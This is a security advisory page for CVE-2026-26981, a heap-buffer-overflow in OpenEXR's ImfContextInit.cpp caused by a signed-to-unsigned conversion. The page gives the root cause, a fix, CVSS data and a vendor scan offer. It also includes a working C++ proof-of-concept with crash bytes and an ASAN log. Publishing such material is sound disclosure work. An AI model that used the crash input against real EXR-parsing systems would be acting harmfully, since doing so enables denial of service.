Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-26981 — openexr

🟡 CVSS 6.5 — Medium ⚠️ Exploit Public CWE-195 OSV
6.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

OpenEXR has heap-buffer-overflow via signed integer underflow in ImfContextInit.cpp

Summary

A heap-buffer-overflow (OOB read) occurs in the istream_nonparallel_read function in ImfContextInit.cpp when parsing a malformed EXR file through a memory-mapped IStream. A signed integer subtraction produces a negative value that is implicitly converted to size_t, resulting in a massive length being passed to memcpy.

Affected Version

  • OpenEXR main branch (commit at time of testing)
  • src/lib/OpenEXR/ImfContextInit.cpp, lines 121–136

Root Cause

ImfContextInit.cpp:121-126:

```cpp

int64_t stream_sz = s->size (); // e.g., 21 (actual file size)

int64_t nend = nread + (int64_t)sz; // e.g., 17 + 4096 = 4113

if (stream_sz > 0 && nend > stream_sz)

{

sz = stream_sz - nend; // 21 - 4113 = -4092 (signed)

}

// ...

memcpy (buffer, data, sz); // sz is size_t → wraps to 0xFFFFFFFFFFFFF004

```

sz is of type size_t (unsigned), but stream_sz - nend yields a negative int64_t value. This negative value is implicitly converted to size_t, wrapping around to a value close to 2^64, which is then passed to memcpy causing a heap-buffer-overflow.

Suggested fix: sz = stream_sz - nendsz = stream_sz - nread

Reproduce

Build OpenEXR as static libraries with ASAN enabled, then compile the PoC below.

PoC Code:

```cpp

#include <cstdint>

#include <cstring>

#include <iostream>

#include <ImfMultiPartInputFile.h>

#include <ImfInputPart.h>

#include <ImfHeader.h>

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER

class MemMapIStream : public IStream

{

public:

MemMapIStream (const uint8_t* data, size_t len)

: IStream ("poc_input")

, _data (reinterpret_cast<const char*> (data))

, _size (static_cast<int64_t> (len))

, _pos (0)

{}

bool isMemoryMapped () const override { return true; }

bool read (char c[], int n) override

{

int64_t avail = (_pos < _size) ? (_size - _pos) : 0;

int64_t copy = (static_cast<int64_t> (n) < avail) ? n : avail;

if (copy > 0) memcpy (c, _data + _pos, copy);

_pos += n;

return _pos <= _size;

}

char* readMemoryMapped (int n) override

{

if (_pos + n > _size)

throw IEX_NAMESPACE::InputExc ("read past end");

const char* p = _data + _pos;

_pos += n;

return const_cast<char*> (p);

}

uint64_t tellg () override { return static_cast<uint64_t> (_pos); }

void seekg (uint64_t pos) override { _pos = static_cast<int64_t> (pos); }

int64_t size () override { return _size; }

private:

const char* _data;

int64_t _size;

int64_t _pos;

};

OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT

int main ()

{

static const uint8_t crash_data[] = {

0x76, 0x2f, 0x31, 0x01,

0x02, 0x06, 0x00, 0x00,

0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,

0x20, 0x00, 0x00,

0x53, 0x00, 0x00, 0x00

};

try

{

Imf::MemMapIStream stream (crash_data, sizeof (crash_data));

Imf::MultiPartInputFile file (stream);

}

catch (const std::exception& e)

{

std::cout << "Exception: " << e.what () << "\n";

}

return 0;

}

```

PoC Input: https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link

ASAN Log

```

==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)

#0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)

#1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21

#2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16

#3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29

#4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9

#5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24

#6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10

#7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18

#8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49

#9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const&, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10

#10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-26981 is classified as CWE-195: Signed to Unsigned Conversion Error. The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive.

Affected software

CVE-2026-26981 is recorded against 1 package.

  • openexr (from 3.4.0 up to 3.4.5)

Timeline and source

Published on 13 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

openexr has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-195: Signed to Unsigned Conversion Error) in other software:

CVE-2026-26981 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity MEDIUM
CVSS Score 6.5
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
CWE CWE-195
Public Exploit ⚠️ Yes
Source OSV
Published 2026-07-13
Updated 2026-08-20
Modified 2026-07-13

Affected Packages

Software From version Fixed in
openexr 3.4.0 3.4.5

Similar Threats

Exploit Protection

Are you running openexr?

CVE-2026-26981 carries CVSS 6.5 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-26981 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026